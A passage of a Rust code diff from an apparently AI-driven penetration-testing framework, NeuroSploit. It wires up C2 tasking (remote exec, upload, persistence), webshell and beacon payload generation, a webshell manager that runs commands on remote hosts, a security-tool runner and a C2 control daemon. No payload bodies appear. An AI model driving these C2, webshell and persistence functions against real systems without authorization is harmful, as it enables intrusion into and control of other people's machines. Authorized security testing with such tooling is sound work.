argv.push("c2".into()); argv.push("task".into());
|
||||
match action.as_str() {
|
||||
"enqueue" | "wait" | "get" | "cancel" | "list" => { argv.push(action.clone()); }
|
||||
_ => argv.push("enqueue".into()),
|
||||
}
|
||||
if action == "list" {
|
||||
if let Some(v) = s("session_id") { argv.push("--session".into()); argv.push(v); }
|
||||
if let Some(v) = s("status") { argv.push("--status".into()); argv.push(v); }
|
||||
argv.push("--json".into());
|
||||
} else if action == "wait" || action == "get" || action == "cancel" {
|
||||
let Some(v) = s("task_id") else { return tool_err(id, "task_id is required") };
|
||||
argv.push(v);
|
||||
if action == "wait" { if let Some(n) = i("timeout_seconds") { argv.push("--timeout".into()); argv.push(n.to_string()); } }
|
||||
argv.push("--json".into());
|
||||
} else if action == "enqueue" {
|
||||
let Some(sess) = s("session_id") else { return tool_err(id, "session_id is required") };
|
||||
let ttype = s("task_type").unwrap_or_else(|| "exec".into());
|
||||
argv.push("--session".into()); argv.push(sess);
|
||||
argv.push("--type".into()); argv.push(ttype.clone());
|
||||
let payload = if ttype == "persist" {
|
||||
json!({ "method": s("method").unwrap_or_else(|| "auto".into()) })
|
||||
} else if ttype == "upload" {
|
||||
json!({ "path": s("path").unwrap_or_default(), "content": s("content").unwrap_or_default() })
|
||||
} else if ttype == "ls" || ttype == "cd" {
|
||||
json!({ "path": s("path").unwrap_or_default() })
|
||||
} else {
|
||||
json!({ "command": s("command").unwrap_or_default() })
|
||||
};
|
||||
argv.push("--payload".into()); argv.push(payload.to_string());
|
||||
argv.push("--wait".into());
|
||||
if let Some(n) = i("timeout_seconds") { argv.push("--timeout".into()); argv.push(n.to_string()); }
|
||||
argv.push("--json".into());
|
||||
}
|
||||
}
|
||||
"neurosploit_c2_payload" => {
|
||||
let Some(action) = s("action") else { return tool_err(id, "action is required") };
|
||||
argv.push("c2".into()); argv.push("payload".into()); argv.push(action.clone());
|
||||
match action.as_str() {
|
||||
"webshell" => {
|
||||
if let Some(v) = s("shell_type") { argv.push("--shell-type".into()); argv.push(v); }
|
||||
if let Some(v) = s("password") { argv.push("--password".into()); argv.push(v); }
|
||||
if let Some(v) = s("pass_param") { argv.push("--pass-param".into()); argv.push(v); }
|
||||
if let Some(v) = s("cmd_param") { argv.push("--cmd-param".into()); argv.push(v); }
|
||||
}
|
||||
"beacon" => {
|
||||
let Some(l) = s("listener_id") else { return tool_err(id, "listener_id is required") };
|
||||
argv.push("--listener".into()); argv.push(l);
|
||||
if let Some(v) = s("kind") { argv.push("--kind".into()); argv.push(v); }
|
||||
if let Some(v) = s("host") { argv.push("--host".into()); argv.push(v); }
|
||||
}
|
||||
"oneliner" => {
|
||||
let Some(l) = s("listener_id") else { return tool_err(id, "listener_id is required") };
|
||||
argv.push("--listener".into()); argv.push(l);
|
||||
}
|
||||
"list" => {}
|
||||
other => return tool_err(id, &format!("unknown payload action: {other}")),
|
||||
}
|
||||
if let Some(v) = s("filename") { argv.push("--filename".into()); argv.push(v); }
|
||||
argv.push("--json".into());
|
||||
}
|
||||
"neurosploit_webshell" => {
|
||||
let Some(action) = s("action") else { return tool_err(id, "action is required") };
|
||||
argv.push("webshell".into());
|
||||
match action.as_str() {
|
||||
"list" => { argv.push("list".into()); }
|
||||
"add" => {
|
||||
argv.push("add".into());
|
||||
let Some(url) = s("url") else { return tool_err(id, "url is required") };
|
||||
argv.push("--url".into()); argv.push(url);
|
||||
if let Some(v) = s("name") { argv.push("--name".into()); argv.push(v); }
|
||||
if let Some(v) = s("password") { argv.push("--password".into()); argv.push(v); }
|
||||
if let Some(v) = s("shell_type") { argv.push("--shell-type".into()); argv.push(v); }
|
||||
if let Some(v) = s("method") { argv.push("--method".into()); argv.push(v); }
|
||||
if let Some(v) = s("cmd_param") { argv.push("--cmd-param".into()); argv.push(v); }
|
||||
if let Some(v) = s("pass_param") { argv.push("--pass-param".into()); argv.push(v); }
|
||||
if let Some(v) = s("os") { argv.push("--os".into()); argv.push(v); }
|
||||
if let Some(v) = s("encoding") { argv.push("--encoding".into()); argv.push(v); }
|
||||
if let Some(v) = s("note") { argv.push("--note".into()); argv.push(v); }
|
||||
}
|
||||
"update" => {
|
||||
argv.push("update".into());
|
||||
let Some(v) = s("id") else { return tool_err(id, "id is required") };
|
||||
argv.push(v);
|
||||
if let Some(v) = s("url") { argv.push("--url".into()); argv.push(v); }
|
||||
if let Some(v) = s("name") { argv.push("--name".into()); argv.push(v); }
|
||||
if let Some(v) = s("password") { argv.push("--password".into()); argv.push(v); }
|
||||
if let Some(v) = s("shell_type") { argv.push("--shell-type".into()); argv.push(v); }
|
||||
if let Some(v) = s("method") { argv.push("--method".into()); argv.push(v); }
|
||||
if let Some(v) = s("cmd_param") { argv.push("--cmd-param".into()); argv.push(v); }
|
||||
if let Some(v) = s("pass_param") { argv.push("--pass-param".into()); argv.push(v); }
|
||||
if let Some(v) = s("os") { argv.push("--os".into()); argv.push(v); }
|
||||
if let Some(v) = s("note") { argv.push("--note".into()); argv.push(v); }
|
||||
}
|
||||
"delete" | "test" => {
|
||||
argv.push(action.clone());
|
||||
let Some(v) = s("id") else { return tool_err(id, "id is required") };
|
||||
argv.push(v);
|
||||
}
|
||||
"exec" => {
|
||||
argv.push("exec".into());
|
||||
let Some(v) = s("id") else { return tool_err(id, "id is required") };
|
||||
let Some(c) = s("command") else { return tool_err(id, "command is required") };
|
||||
argv.push("--id".into()); argv.push(v);
|
||||
argv.push("--command".into()); argv.push(c);
|
||||
}
|
||||
"file" => {
|
||||
argv.push("file".into());
|
||||
let Some(v) = s("id") else { return tool_err(id, "id is required") };
|
||||
argv.push("--id".into()); argv.push(v);
|
||||
argv.push("--action".into()); argv.push(s("file_action").unwrap_or_else(|| "list".into()));
|
||||
if let Some(p) = s("path") { argv.push("--path".into()); argv.push(p); }
|
||||
if let Some(c) = s("content") { argv.push("--content".into()); argv.push(c); }
|
||||
if let Some(t) = s("target_path") { argv.push("--target-path".into()); argv.push(t); }
|
||||
}
|
||||
other => return tool_err(id, &format!("unknown webshell action: {other}")),
|
||||
}
|
||||
argv.push("--json".into());
|
||||
}
|
||||
|
||||
// ---- toolbox --------------------------------------------------------
|
||||
"neurosploit_tool_list" => {
|
||||
if let Some(q) = s("query") {
|
||||
argv.push("tools".into()); argv.push("search".into()); argv.push(q);
|
||||
} else {
|
||||
argv.push("tools".into()); argv.push("list".into());
|
||||
if let Some(c) = s("category") { argv.push("--category".into()); argv.push(c); }
|
||||
}
|
||||
argv.push("--json".into());
|
||||
}
|
||||
"neurosploit_tool_info" => {
|
||||
let Some(t) = s("tool") else { return tool_err(id, "tool is required") };
|
||||
argv.push("tools".into()); argv.push("info".into()); argv.push(t); argv.push("--json".into());
|
||||
}
|
||||
"neurosploit_tool_check" => {
|
||||
let Some(t) = s("tool") else { return tool_err(id, "tool is required") };
|
||||
argv.push("tools".into()); argv.push("check".into()); argv.push(t); argv.push("--json".into());
|
||||
if b("sandbox") { argv.push("--sandbox".into()); }
|
||||
}
|
||||
"neurosploit_tool_run" => {
|
||||
let Some(t) = s("tool") else { return tool_err(id, "tool is required") };
|
||||
argv.push("tools".into()); argv.push("run".into()); argv.push(t);
|
||||
if let Some(target) = s("target") { argv.push("--target".into()); argv.push(target); }
|
||||
if let Some(args) = s("args") { argv.push("--args".into()); argv.push(args); }
|
||||
if b("sandbox") { argv.push("--sandbox".into()); }
|
||||
if b("provision") { argv.push("--provision".into()); }
|
||||
if let Some(n) = i("timeout_seconds") { argv.push("--timeout".into()); argv.push(n.to_string()); }
|
||||
argv.push("--json".into());
|
||||
}
|
||||
"neurosploit_tool_mcp" => {
|
||||
let action = s("action").unwrap_or_else(|| "list".into());
|
||||
argv.push("tools".into()); argv.push("mcp".into()); argv.push(action.clone());
|
||||
if action != "list" {
|
||||
let Some(server) = s("server") else { return tool_err(id, "server is required") };
|
||||
argv.push(server);
|
||||
}
|
||||
if action == "list" || action == "test" { argv.push("--json".into()); }
|
||||
}
|
||||
|
||||
// ---- post-run tools -------------------------------------------------
|
||||
"neurosploit_list_runs" => return list_runs(id),
|
||||
"neurosploit_findings" => {
|
||||
|
||||
@@ -157,6 +157,7 @@ pub(crate) const ACCEPTED: &[&str] = &[
|
||||
"/sandbox", "/scope", "/scope-out", "/show", "/status", "/stop", "/sub", "/subscription", "/target",
|
||||
"/temp-email", "/tempmail", "/theme", "/timeout", "/ua", "/url", "/useragent", "/validate",
|
||||
"/votes",
|
||||
"/c2", "/webshell", "/tools",
|
||||
];
|
||||
|
||||
/// All slash-commands, for Tab completion.
|
||||
@@ -167,6 +168,7 @@ const COMMANDS: &[&str] = &[
|
||||
"/status", "/logs", "/diff", "/retest", "/validate", "/finding", "/pocs", "/expand", "/integrations",
|
||||
"/memory", "/forget", "/graph", "/inscope", "/observe", "/guardrail", "/policy",
|
||||
"/compliance", "/budget", "/capability", "/audit", "/quit",
|
||||
"/c2", "/webshell", "/tools",
|
||||
];
|
||||
|
||||
/// rustyline helper: Tab-completes `/commands` and `@filesystem-paths`,
|
||||
@@ -1488,6 +1490,22 @@ pub async fn repl(base: &Path, auth: SessionAuth) -> anyhow::Result<()> {
|
||||
_ => println!(" no active run — /logs shows the live activity feed while a run streams."),
|
||||
}
|
||||
}
|
||||
"/c2" | "/webshell" | "/tools" => {
|
||||
let mut argv = vec![cmd.trim_start_matches('/').to_string()];
|
||||
argv.extend(split_cli_args(arg));
|
||||
match std::env::current_exe() {
|
||||
Ok(exe) => match std::process::Command::new(exe).args(&argv).output() {
|
||||
Ok(out) => {
|
||||
let stdout = String::from_utf8_lossy(&out.stdout);
|
||||
let stderr = String::from_utf8_lossy(&out.stderr);
|
||||
if !stdout.trim().is_empty() { print!("{stdout}"); }
|
||||
if !stderr.trim().is_empty() { eprint!("{stderr}"); }
|
||||
}
|
||||
Err(e) => println!(" C2/WebShell command failed: {e}"),
|
||||
},
|
||||
Err(e) => println!(" cannot locate neurosploit binary: {e}"),
|
||||
}
|
||||
}
|
||||
"/quit" | "/exit" | "/q" => {
|
||||
if active.as_ref().map(|a| !a.done.load(Ordering::Relaxed)).unwrap_or(false) {
|
||||
if let Some(a) = &active { a.cancel.store(true, Ordering::Relaxed); }
|
||||
@@ -2713,6 +2731,38 @@ fn show(s: &Session) {
|
||||
println!(" └─ /run to launch · edit with /target /repo /auth /creds /focus /model");
|
||||
}
|
||||
|
||||
/// Split a REPL argument string into argv, honouring single/double quotes and
|
||||
/// backslash escapes. Used by `/c2` and `/webshell` so the operator can pass a
|
||||
/// command with spaces without the shell being involved.
|
||||
fn split_cli_args(input: &str) -> Vec<String> {
|
||||
let mut out = Vec::new();
|
||||
let mut cur = String::new();
|
||||
let mut quote: Option<char> = None;
|
||||
let mut escaped = false;
|
||||
for c in input.chars() {
|
||||
if escaped {
|
||||
cur.push(c);
|
||||
escaped = false;
|
||||
continue;
|
||||
}
|
||||
match (quote, c) {
|
||||
(_, '\\') => escaped = true,
|
||||
(Some(q), ch) if ch == q => quote = None,
|
||||
(None, '\'' | '"') => quote = Some(c),
|
||||
(None, ch) if ch.is_whitespace() => {
|
||||
if !cur.is_empty() {
|
||||
out.push(std::mem::take(&mut cur));
|
||||
}
|
||||
}
|
||||
(_, ch) => cur.push(ch),
|
||||
}
|
||||
}
|
||||
if !cur.is_empty() {
|
||||
out.push(cur);
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn help() {
|
||||
let h = |c: &str, d: &str| println!(" \x1b[36m{c:<20}\x1b[0m {d}");
|
||||
println!("\n \x1b[1mNeuroSploit REPL — commands\x1b[0m");
|
||||
@@ -2768,6 +2818,9 @@ fn help() {
|
||||
h("/memory [text]", "what the harness learned (working·engagement·technique·reusable); search with text");
|
||||
h("/forget <text>", "drop every memory whose text matches");
|
||||
h("/graph", "attack knowledge graph: entities, top attack paths, unproven frontier");
|
||||
h("/c2 <args>", "C2 for authorized internal engagements: status · enable · listener · session · task · payload");
|
||||
h("/webshell <args>", "WebShell manager: list · add · test · exec · file (same verbs as `neurosploit webshell`)");
|
||||
h("/tools <args>", "Toolbox: list · search · info · check · run · install · mcp (same verbs as `neurosploit tools`)");
|
||||
|
||||
println!("\n \x1b[2mINTEGRATIONS\x1b[0m");
|
||||
h("/integrations", "show · enable/disable github|gitlab|jira · setup <name>");
|
||||
|
||||
@@ -0,0 +1,411 @@
|
||||
//! `neurosploit tools …` — run real security tools from the 200+ catalog and
|
||||
//! manage MCP tool servers. Thin CLI over `harness::toolbox`, so the CLI, MCP
|
||||
//! surface, agent loop and web console share one runner and one audit trail.
|
||||
|
||||
use clap::Subcommand;
|
||||
use serde_json::{json, Value};
|
||||
|
||||
use harness::toolbox::{
|
||||
self, mcp_catalog, ToolRunConfig, ToolSpec,
|
||||
};
|
||||
|
||||
#[derive(Subcommand)]
|
||||
pub enum ToolsCmd {
|
||||
/// List the toolbox catalog (optionally one category).
|
||||
List {
|
||||
#[arg(long)]
|
||||
category: Option<String>,
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
/// Search by id/name/binary/tag/description.
|
||||
Search {
|
||||
query: String,
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
/// Show one tool's full descriptor.
|
||||
Info {
|
||||
id: String,
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
/// Check whether tool(s) are installed and report versions.
|
||||
Check {
|
||||
id: Option<String>,
|
||||
/// Check every catalog entry (slow: one `which` per tool).
|
||||
#[arg(long)]
|
||||
all: bool,
|
||||
/// Check inside the Kali sandbox.
|
||||
#[arg(long, num_args = 0..=1, default_missing_value = "")]
|
||||
sandbox: Option<String>,
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
/// Run a catalog tool against a target.
|
||||
Run {
|
||||
id: String,
|
||||
#[arg(long, default_value = "")]
|
||||
target: String,
|
||||
/// Override the catalog usage, e.g. '-sV -p 22,80,443'.
|
||||
#[arg(long, allow_hyphen_values = true)]
|
||||
args: Option<String>,
|
||||
/// Run inside the Kali sandbox instead of the host.
|
||||
#[arg(long, num_args = 0..=1, default_missing_value = "")]
|
||||
sandbox: Option<String>,
|
||||
#[arg(long, default_value_t = 300)]
|
||||
timeout: u64,
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
/// Install a tool (explicit opt-in, host or sandbox).
|
||||
Install {
|
||||
id: String,
|
||||
#[arg(long, num_args = 0..=1, default_missing_value = "")]
|
||||
sandbox: Option<String>,
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
/// Recommended toolchains per engagement mode.
|
||||
Profiles {
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
/// MCP tool-server catalog and local configuration.
|
||||
Mcp {
|
||||
#[command(subcommand)]
|
||||
cmd: ToolsMcpCmd,
|
||||
},
|
||||
}
|
||||
|
||||
#[derive(Subcommand)]
|
||||
pub enum ToolsMcpCmd {
|
||||
/// List curated MCP servers and which are configured locally.
|
||||
List {
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
/// Add a curated MCP server to ./mcp.servers.json (used by --mcp runs).
|
||||
Add { name: String },
|
||||
/// Remove an MCP server from ./mcp.servers.json.
|
||||
Remove { name: String },
|
||||
/// Print the JSON config snippet for an MCP server.
|
||||
Json { name: String },
|
||||
/// Check the server's command/binary (or HTTP URL) without starting a run.
|
||||
Test {
|
||||
name: String,
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
/// Show the local mcp.servers.json path and contents.
|
||||
Path {
|
||||
#[arg(long)]
|
||||
json: bool,
|
||||
},
|
||||
}
|
||||
|
||||
pub async fn handle(cmd: ToolsCmd) -> anyhow::Result<()> {
|
||||
match cmd {
|
||||
ToolsCmd::List { category, json } => {
|
||||
let items: Vec<&ToolSpec> = toolbox::all()
|
||||
.iter()
|
||||
.filter(|t| category.as_deref().map(|c| t.category.eq_ignore_ascii_case(c)).unwrap_or(true))
|
||||
.collect();
|
||||
if json {
|
||||
print_json(&json!(items));
|
||||
} else {
|
||||
for t in &items {
|
||||
println!(
|
||||
"{:<24} {:<10} {:<18} {}",
|
||||
t.id, t.category, t.binary, t.description
|
||||
);
|
||||
}
|
||||
println!("\n{} tool(s)", items.len());
|
||||
if category.is_none() {
|
||||
for (c, n) in toolbox::categories() {
|
||||
println!(" {c:<12} {n}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
ToolsCmd::Search { query, json } => {
|
||||
let items = toolbox::search(&query);
|
||||
if json {
|
||||
print_json(&json!(items));
|
||||
} else {
|
||||
for t in &items {
|
||||
println!("{:<24} {:<10} {}", t.id, t.category, t.description);
|
||||
}
|
||||
println!("\n{} match(es)", items.len());
|
||||
}
|
||||
}
|
||||
ToolsCmd::Info { id, json } => {
|
||||
let t = toolbox::find(&id)
|
||||
.ok_or_else(|| anyhow::anyhow!("unknown tool '{id}' — try `neurosploit tools search {id}`"))?;
|
||||
if json {
|
||||
print_json(&json!(t));
|
||||
} else {
|
||||
print_tool(t);
|
||||
}
|
||||
}
|
||||
ToolsCmd::Check {
|
||||
id,
|
||||
all,
|
||||
sandbox,
|
||||
json,
|
||||
} => {
|
||||
let specs: Vec<&ToolSpec> = if all {
|
||||
toolbox::all().iter().collect()
|
||||
} else if let Some(id) = id {
|
||||
vec![toolbox::find(&id).ok_or_else(|| anyhow::anyhow!("unknown tool '{id}'"))?]
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("give a tool id or --all"));
|
||||
};
|
||||
let cfg = ToolRunConfig {
|
||||
sandbox: sandbox.clone(),
|
||||
..Default::default()
|
||||
};
|
||||
let mut out = Vec::new();
|
||||
for spec in specs {
|
||||
match toolbox::check(spec, &cfg).await {
|
||||
Ok(c) => {
|
||||
if !json {
|
||||
println!(
|
||||
"{} {} {}",
|
||||
if c.installed { "✓" } else { "✗" },
|
||||
c.tool,
|
||||
if c.installed { format!("— {}", c.version) } else { format!("— {}", c.install_hint) }
|
||||
);
|
||||
}
|
||||
out.push(json!(c));
|
||||
}
|
||||
Err(e) => {
|
||||
if !json {
|
||||
println!("✗ {} — {e}", spec.id);
|
||||
}
|
||||
out.push(json!({"tool": spec.id, "installed": false, "error": e}));
|
||||
}
|
||||
}
|
||||
}
|
||||
if json {
|
||||
print_json(&json!(out));
|
||||
}
|
||||
}
|
||||
ToolsCmd::Run {
|
||||
id,
|
||||
target,
|
||||
args,
|
||||
sandbox,
|
||||
timeout,
|
||||
json,
|
||||
} => {
|
||||
let cfg = ToolRunConfig {
|
||||
sandbox,
|
||||
provision: std::env::var("NEUROSPLOIT_PROVISION").ok().as_deref() == Some("1"),
|
||||
timeout_secs: Some(timeout),
|
||||
..Default::default()
|
||||
};
|
||||
let run = toolbox::run(&id, args.as_deref(), &target, &cfg)
|
||||
.await
|
||||
.map_err(anyhow::Error::msg)?;
|
||||
if json {
|
||||
print_json(&json!(run));
|
||||
} else {
|
||||
println!("$ {}", run.command);
|
||||
println!(
|
||||
"{} · exit {} · {} ms{}",
|
||||
run.name,
|
||||
run.code,
|
||||
run.duration_ms,
|
||||
if run.timed_out { " · TIMED OUT" } else { "" }
|
||||
);
|
||||
if !run.stdout.trim().is_empty() {
|
||||
println!("--- stdout ---\n{}", run.stdout);
|
||||
}
|
||||
if !run.stderr.trim().is_empty() {
|
||||
println!("--- stderr ---\n{}", run.stderr);
|
||||
}
|
||||
}
|
||||
}
|
||||
ToolsCmd::Install { id, sandbox, json } => {
|
||||
let spec = toolbox::find(&id).ok_or_else(|| anyhow::anyhow!("unknown tool '{id}'"))?;
|
||||
let cfg = ToolRunConfig {
|
||||
sandbox,
|
||||
provision: true,
|
||||
..Default::default()
|
||||
};
|
||||
let (ok, version) = toolbox::install(spec, &cfg).await.map_err(anyhow::Error::msg)?;
|
||||
if json {
|
||||
print_json(&json!({"ok": ok, "tool": spec.id, "version": version}));
|
||||
} else {
|
||||
println!("✓ {} installed {version}", spec.id);
|
||||
}
|
||||
}
|
||||
ToolsCmd::Profiles { json } => {
|
||||
let mut out = Vec::new();
|
||||
for mode in ["run", "host", "ad", "cloud", "container", "mobile", "binary", "aitest"] {
|
||||
let ids = toolbox::mode_plan(mode);
|
||||
out.push(json!({"mode": mode, "tools": ids}));
|
||||
if !json {
|
||||
println!("{mode:<10} {}", ids.join(", "));
|
||||
}
|
||||
}
|
||||
if json {
|
||||
print_json(&json!(out));
|
||||
}
|
||||
}
|
||||
ToolsCmd::Mcp { cmd } => handle_mcp(cmd).await?,
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn handle_mcp(cmd: ToolsMcpCmd) -> anyhow::Result<()> {
|
||||
let base = std::env::current_dir().unwrap_or_default();
|
||||
match cmd {
|
||||
ToolsMcpCmd::List { json } => {
|
||||
let path = mcp_catalog::servers_path(&base);
|
||||
let configured: Vec<String> = std::fs::read_to_string(&path)
|
||||
.ok()
|
||||
.and_then(|s| serde_json::from_str::<Value>(&s).ok())
|
||||
.map(|v| {
|
||||
let obj = v.get("mcpServers").cloned().unwrap_or(v);
|
||||
obj.as_object().map(|o| o.keys().cloned().collect()).unwrap_or_default()
|
||||
})
|
||||
.unwrap_or_default();
|
||||
let mut out = Vec::new();
|
||||
for s in mcp_catalog::all() {
|
||||
out.push(json!({
|
||||
"name": s.name,
|
||||
"description": s.description,
|
||||
"transport": s.transport,
|
||||
"command": s.command,
|
||||
"args": s.args,
|
||||
"url": s.url,
|
||||
"configured": configured.iter().any(|c| c == &s.name),
|
||||
"install": s.install,
|
||||
"notes": s.notes,
|
||||
}));
|
||||
}
|
||||
if json {
|
||||
print_json(&json!({"servers": out, "config": path}));
|
||||
} else {
|
||||
println!("MCP servers (config: {})", path.display());
|
||||
for v in &out {
|
||||
println!(
|
||||
"{} {:<12} {:<6} {}{}",
|
||||
if v["configured"].as_bool().unwrap_or(false) { "✓" } else { "·" },
|
||||
v["name"].as_str().unwrap_or(""),
|
||||
v["transport"].as_str().unwrap_or(""),
|
||||
v["description"].as_str().unwrap_or(""),
|
||||
if v["configured"].as_bool().unwrap_or(false) { " [configured]" } else { "" }
|
||||
);
|
||||
}
|
||||
println!("\nAdd with: neurosploit tools mcp add nmap");
|
||||
}
|
||||
}
|
||||
ToolsMcpCmd::Add { name } => {
|
||||
let path = mcp_catalog::add_to_file(&base, &name).map_err(anyhow::Error::msg)?;
|
||||
println!("✓ {name} added to {}", path.display());
|
||||
println!(" Next run: neurosploit run <target> --subscription --mcp --model <model>");
|
||||
}
|
||||
ToolsMcpCmd::Remove { name } => {
|
||||
let removed = mcp_catalog::remove_from_file(&base, &name).map_err(anyhow::Error::msg)?;
|
||||
println!("{} {name}", if removed { "✓ removed" } else { "· not configured:" });
|
||||
}
|
||||
ToolsMcpCmd::Json { name } => {
|
||||
let spec = mcp_catalog::find(&name)
|
||||
.ok_or_else(|| anyhow::anyhow!("unknown MCP server '{name}'"))?;
|
||||
print_json(&json!({ "mcpServers": { spec.name.clone(): spec.config() } }));
|
||||
}
|
||||
ToolsMcpCmd::Test { name, json } => {
|
||||
let spec = mcp_catalog::find(&name)
|
||||
.ok_or_else(|| anyhow::anyhow!("unknown MCP server '{name}'"))?;
|
||||
let (ok, detail) = test_mcp(&spec).await;
|
||||
if json {
|
||||
print_json(&json!({"ok": ok, "server": spec.name, "detail": detail}));
|
||||
} else {
|
||||
println!("{} {} — {}", if ok { "✓" } else { "✗" }, spec.name, detail);
|
||||
}
|
||||
}
|
||||
ToolsMcpCmd::Path { json } => {
|
||||
let path = mcp_catalog::servers_path(&base);
|
||||
let body = std::fs::read_to_string(&path).unwrap_or_else(|_| "{}".into());
|
||||
if json {
|
||||
print_json(&json!({"path": path, "content": body}));
|
||||
} else {
|
||||
println!("{}", path.display());
|
||||
println!("{body}");
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn test_mcp(spec: &mcp_catalog::McpServerSpec) -> (bool, String) {
|
||||
if spec.transport == "http" {
|
||||
let client = match reqwest::Client::builder().timeout(std::time::Duration::from_secs(4)).build() {
|
||||
Ok(c) => c,
|
||||
Err(e) => return (false, e.to_string()),
|
||||
};
|
||||
return match client.get(&spec.url).send().await {
|
||||
Ok(r) => (r.status().is_success() || r.status().is_client_error(), format!("HTTP {}", r.status())),
|
||||
Err(e) => (false, format!("{}: {e}", spec.url)),
|
||||
};
|
||||
}
|
||||
if spec.command.trim().is_empty() {
|
||||
return (false, "no command configured (edit mcp.servers.json)".into());
|
||||
}
|
||||
let found = tokio::process::Command::new("which")
|
||||
.arg(&spec.command)
|
||||
.output()
|
||||
.await
|
||||
.map(|o| o.status.success())
|
||||
.unwrap_or(false);
|
||||
if found {
|
||||
(true, format!("{} found on PATH", spec.command))
|
||||
} else {
|
||||
(
|
||||
false,
|
||||
format!(
|
||||
"{} not found — {}",
|
||||
spec.command,
|
||||
spec.install
|
||||
.iter()
|
||||
.next()
|
||||
.map(|(k, v)| format!("{k}: {v}"))
|
||||
.unwrap_or_else(|| "install it manually".into())
|
||||
),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
fn print_tool(t: &ToolSpec) {
|
||||
println!("{} — {}", t.id, t.name);
|
||||
println!(" category : {}", t.category);
|
||||
println!(" binary : {}", t.binary);
|
||||
println!(" usage : {}", t.usage);
|
||||
println!(" tags : {}", t.tags.join(", "));
|
||||
if t.intrusive {
|
||||
println!(" intrusive: yes — actively probes the target");
|
||||
}
|
||||
if t.requires_root {
|
||||
println!(" root : may require root/CAP_NET_RAW");
|
||||
}
|
||||
if let Some(m) = &t.mcp {
|
||||
println!(" mcp : {m}");
|
||||
}
|
||||
if t.install.is_empty() {
|
||||
println!(" install : manual (put `{}` on PATH)", t.binary);
|
||||
} else {
|
||||
for (k, v) in &t.install {
|
||||
println!(" install : {k}: {v}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn print_json(v: &Value) {
|
||||
println!(
|
||||
"{}",
|
||||
serde_json::to_string_pretty(v).unwrap_or_else(|_| "{}".into())
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use serde_json::Value;
|
||||
|
||||
use super::c2_dir;
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
struct ControlInfo {
|
||||
port: u16,
|
||||
token: String,
|
||||
pid: u32,
|
||||
started_at: i64,
|
||||
}
|
||||
|
||||
fn control_path(dir: &Path) -> std::path::PathBuf {
|
||||
dir.join("control.json")
|
||||
}
|
||||
|
||||
fn read_control(dir: &Path) -> Option<ControlInfo> {
|
||||
let bytes = std::fs::read(control_path(dir)).ok()?;
|
||||
serde_json::from_slice(&bytes).ok()
|
||||
}
|
||||
|
||||
async fn ping(port: u16) -> bool {
|
||||
let client = match reqwest::Client::builder()
|
||||
.timeout(Duration::from_millis(700))
|
||||
.build()
|
||||
{
|
||||
Ok(c) => c,
|
||||
Err(_) => return false,
|
||||
};
|
||||
matches!(
|
||||
client
|
||||
.get(format!("http://127.0.0.1:{port}/health"))
|
||||
.send()
|
||||
.await,
|
||||
Ok(r) if r.status().is_success()
|
||||
)
|
||||
}
|
||||
|
||||
/// Ensure the control daemon is running, starting it detached if needed.
|
||||
pub async fn ensure_daemon() -> Result<(u16, String), String> {
|
||||
let dir = c2_dir();
|
||||
if let Some(info) = read_control(&dir) {
|
||||
if ping(info.port).await {
|
||||
return Ok((info.port, info.token));
|
||||
}
|
||||
}
|
||||
std::fs::create_dir_all(&dir).map_err(|e| format!("create {}: {e}", dir.display()))?;
|
||||
let lock = dir.join("daemon.lock");
|
||||
let mut waited = 0;
|
||||
loop {
|
||||
match std::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create_new(true)
|
||||
.open(&lock)
|
||||
{
|
||||
Ok(mut f) => {
|
||||
let _ = writeln!(f, "{}", std::process::id());
|
||||
break;
|
||||
}
|
||||
Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
|
||||
if let Some(info) = read_control(&dir) {
|
||||
if ping(info.port).await {
|
||||
let _ = std::fs::remove_file(&lock);
|
||||
return Ok((info.port, info.token));
|
||||
}
|
||||
}
|
||||
waited += 1;
|
||||
if waited > 40 {
|
||||
let _ = std::fs::remove_file(&lock);
|
||||
waited = 0;
|
||||
}
|
||||
tokio::time::sleep(Duration::from_millis(150)).await;
|
||||
}
|
||||
Err(e) => return Err(format!("cannot lock daemon startup: {e}")),
|
||||
}
|
||||
}
|
||||
let exe = std::env::current_exe().map_err(|e| format!("current exe: {e}"))?;
|
||||
let mut cmd = std::process::Command::new(exe);
|
||||
cmd.arg("c2")
|
||||
.arg("daemon")
|
||||
.arg("--port")
|
||||
.arg("0")
|
||||
.arg("--dir")
|
||||
.arg(&dir)
|
||||
.stdin(std::process::Stdio::null())
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null());
|
||||
cmd.spawn().map_err(|e| format!("start C2 daemon: {e}"))?;
|
||||
for _ in 0..80 {
|
||||
if let Some(info) = read_control(&dir) {
|
||||
if ping(info.port).await {
|
||||
let _ = std::fs::remove_file(&lock);
|
||||
return Ok((info.port, info.token));
|
||||
}
|
||||
}
|
||||
tokio::time::sleep(Duration::from_millis(150)).await;
|
||||
}
|
||||
let _ = std::fs::remove_file(&lock);
|
||||
Err("C2 daemon did not start in time".into())
|
||||
}
|
||||
|
||||
/// Authenticated call against the local control API.
|
||||
pub async fn control_request(
|
||||
method: &str,
|
||||
path: &str,
|
||||
body: Option<Value>,
|
||||
) -> Result<Value, String> {
|
||||
let (port, token) = ensure_daemon().await?;
|
||||
let client = reqwest::Client::builder()
|
||||
